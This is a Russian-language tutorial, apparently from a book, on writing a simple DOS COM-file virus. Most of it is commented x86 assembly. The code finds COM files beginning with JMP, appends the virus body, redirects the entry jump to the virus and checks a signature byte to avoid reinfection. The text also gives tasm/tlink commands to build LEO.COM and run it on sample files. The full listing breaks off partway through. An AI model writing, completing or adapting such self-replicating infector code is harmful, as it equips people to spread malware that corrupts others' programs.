Простейший COM-вирус
В начале COM-файла обычно находится команда безусловного перехода JMP, состоящая из трех байт. Первый байт содержит код команды 0E9h, следующие два – адрес перехода. Поскольку рассматриваемый ниже вирус учебный, он будет заражать только COM-файлы, начинающиеся с команды JMP. Благодаря простому строению COM-файла в него очень просто добавить тело вируса и затем указать его адрес в команде JMP. На рис. 1.1. показано заражение файла таким способом.
Рис. 1.1
После загрузки зараженного файла управление получает вирус. Закончив работу, вирус восстанавливает оригинальный JMP и передает управление программе, как показано на рис. 1.2.
Рис. 1.2
Что же делает рассматриваемый вирус? После старта он ищет в текущем каталоге COM-программы. Для этого используется функция 4Eh (найти первый файл):
;Ищем первый файл по шаблону имени
mov ah,4Eh
mov dx,offset fname – offset myself
add dx,bp
mov cx,00100111b
int 21h
Затем вирус проверяет (по первому байту файла), подходят ли ему найденные COM-программы:
;Открываем файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21h
;Если при открытии файла ошибок не произошло,
;переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
;Читаем первый байт файла
See_Him:
xchg bx,ax
mov ah,3Fh
mov dx,offset buf–offset myself
add dx,bp
xor cx,cx ;CX=0
inc cx ;(увеличение на 1) CX=1
int 21h
;Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего
;файла – этот для заражения не подходит
cmp byte ptr [bp+(offset buf–offset myself)],0E9h
jne find_next
Перед заражением файла вирус проверяет сигнатуру – не исключено, что файл уже заражен:
;Переходим в конец файла (на последний байт)
mov ax,4200h
xor cx,cx
mov dx,[bp+(offset flen−offset MySelf)]
dec dx
int 21h
;Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor cx,cx
inc cx
mov dx,offset bytik–offset myself
add dx,bp
int 21h
;Если при чтении файла ошибок не произошло,
;проверяем сигнатуру,
;иначе ищем следующий файл
jnc test_bytik
jmp find_next
;Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik−offset myself)],CheckByte
;Если сигнатура есть, то ищем другой файл,
;если ее нет – будем заражать
je find_next2
jmp Not_infected
Затем, в соответствии с предложенной схемой, вирус дописывается в конец файла-жертвы и устанавливает адрес перехода на самого себя:
;Переходим в конец файла
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
;Устанавливаем регистр DS на сегмент кода
push cs
pop ds
;Копируем вирус в файл
mov ah,40h
mov cx,offset VirEnd–offset la
mov dx,bp
sub dx,offset myself−offset la
int 21h
;Записываем в начало файла переход на тело вируса
Write_Jmp:
;Переходим в начало файла
xor cx,cx
xor dx,dx
mov ax,4200h
int 21h
;Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov cx,3
mov dx,offset jmpvir–offset myself
add dx,bp
int 21h
После того, как вирус закончит свою работу, он восстанавливает в исходное состояние первые три байта программы (в памяти компьютера) и передает управление на начало программы. Далее, при запуске зараженного файла, управление сначала получает вирус, затем – исходная программа. Благодаря такой схеме работы рассматриваемый вирус может спокойно существовать, будучи один раз выпущенным на волю. Как запустить вирус? В любом текстовом редакторе создается файл LEO.ASM, содержащий исходный текст вируса, затем этот файл компилируется и компонуется готовая программа. Например, в системе программирования Turbo Assembler последние два этапа выполняются такими командами:
tasm.exe leo.asm tlink leo.obj/t
В итоге получился файл LEO.COM, содержащий готовый COM-вирус. Для проверки работы вируса можно создать отдельный каталог и скопировать в него этот файл, а также несколько других COM-файлов. После запуска LEO.COM вирус внедрится во все остальные COM-файлы. Не стоит бояться, что будет заражен сразу весь компьютер – вирус распространяется только в текущем каталоге. Ниже приводится исходный текст вируса:
.286 ;Устанавливаем тип процессора
CheckByte equ 0F0h
;Указываем, что регистры CS и DS содержат
;адрес сегмента кода программы
assume cs:code, ds:code
;Начало сегмента кода. В конце программы сегмент кода нужно
;закрыть – "code ends"
code segment
;Устанавливаем смещения в сегменте кода.
;Данная строчка обязательна
;для COM−программы (все COM−программы
;начинаются с адреса 100h)
org 100h
start:
;Имитируем зараженный COM−файл.
;Тело вируса начинается с метки la
; jmp la
db 0E9h ;Код команды JMP
dw offset la–offset real
real:
;Выходим из программы
mov ah,4Ch
int 21h
;Здесь начинается тело вируса
la:
;Сохраняем регистры и флаги
pushf
pusha
push ds es
;Получаем точку входа.
;Для этого вызываем подпрограмму (следующий
;за вызовом адрес) и читаем из стека адрес возврата
call MySelf
MySelf:
pop bp
;Восстанавливаем первые три байта исходной программы
mov al,[bp+(offset bytes_3[0]–offset MySelf)]
mov byte ptr cs:[100h],al
mov al,[bp+(offset bytes_3[1]–offset MySelf)]
mov byte ptr cs:[101h],al
mov al,[bp+(offset bytes_3[2]–offset MySelf)]
mov byte ptr cs:[102h],al
;Дальнейшая задача вируса – найти новую жертву.
;Для этого используется функция 4Eh (Найти первый файл).
;Ищем файл с любыми атрибутами
Find_First:
;Ищем первый файл по шаблону имени
mov ah,4Eh
mov dx,offset fname–offset myself
add dx,bp
mov cx,00100111b
int 21h
;Если файл найден – переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)
jnc attributes
jmp exit
attributes:
;Читаем оригинальные атрибуты файла
mov ax,4300h
mov dx,9Eh ;Адрес имени файла
int 21h
;Сохраняем оригинальные атрибуты файла
push cx
;Устанавливаем новые атрибуты файла
mov ax,4301h
mov dx,9Eh ;Адрес имени файла
mov cx,20h
int 21h
;Переходим к открытию файла
jmp Open
;Ищем следующий файл, так как предыдущий не подходит
Find_Next:
;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h
mov dx,9Eh ;Адрес имени файла
pop cx
int 21h
;Закрываем файл
mov ah,3Eh
int 21h
;Ищем следующий файл
mov ah,4Fh
int 21h
;Если файл найден – переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)
jnc attributes
jmp exit
;Открываем файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21h
;Если при открытии файла ошибок не произошло –
;переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
;Читаем первый байт файла
See_Him:
xchg bx,ax
mov ah,3Fh
mov dx,offset buf–offset myself
add dx,bp
xor cx,cx ;CX=0
inc cx ;(увеличение на 1) CX=1
int 21h
;Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего файла –
;этот для заражения не подходит
cmp byte ptr [bp+(offset buf–offset myself)],0E9h
jne find_next
;Переходим в начало файла
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
;Читаем первые три байта файла в тело вируса
See_Him2:
mov ah,3Fh
mov dx,offset bytes_3–offset myself
add dx,bp
mov cx,3
int 21h
;Получаем длину файла, для чего переходим в конец файла
Testik:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
Size_test:
;Сохраняем полученную длину файла
mov [bp+(offset flen−offset MySelf)],ax
;Проверяем длину файла
cmp ax,64000
;Если файл не больше 64000 байт,– переходим
;к следующей проверке,
;иначе ищем другой файл (этот слишком велик для заражения)
jna rich_test
jmp find_next
;Проверим, не заражен ли файл.
;Для этого проверим сигнатуру вируса
Rich_test:
;Переходим в конец файла (на последний байт)
mov ax,4200h
xor cx,cx
mov dx,[bp+(offset flen−offset MySelf)]
dec dx
int 21h
;Читаем сигнатуру вируса
Read: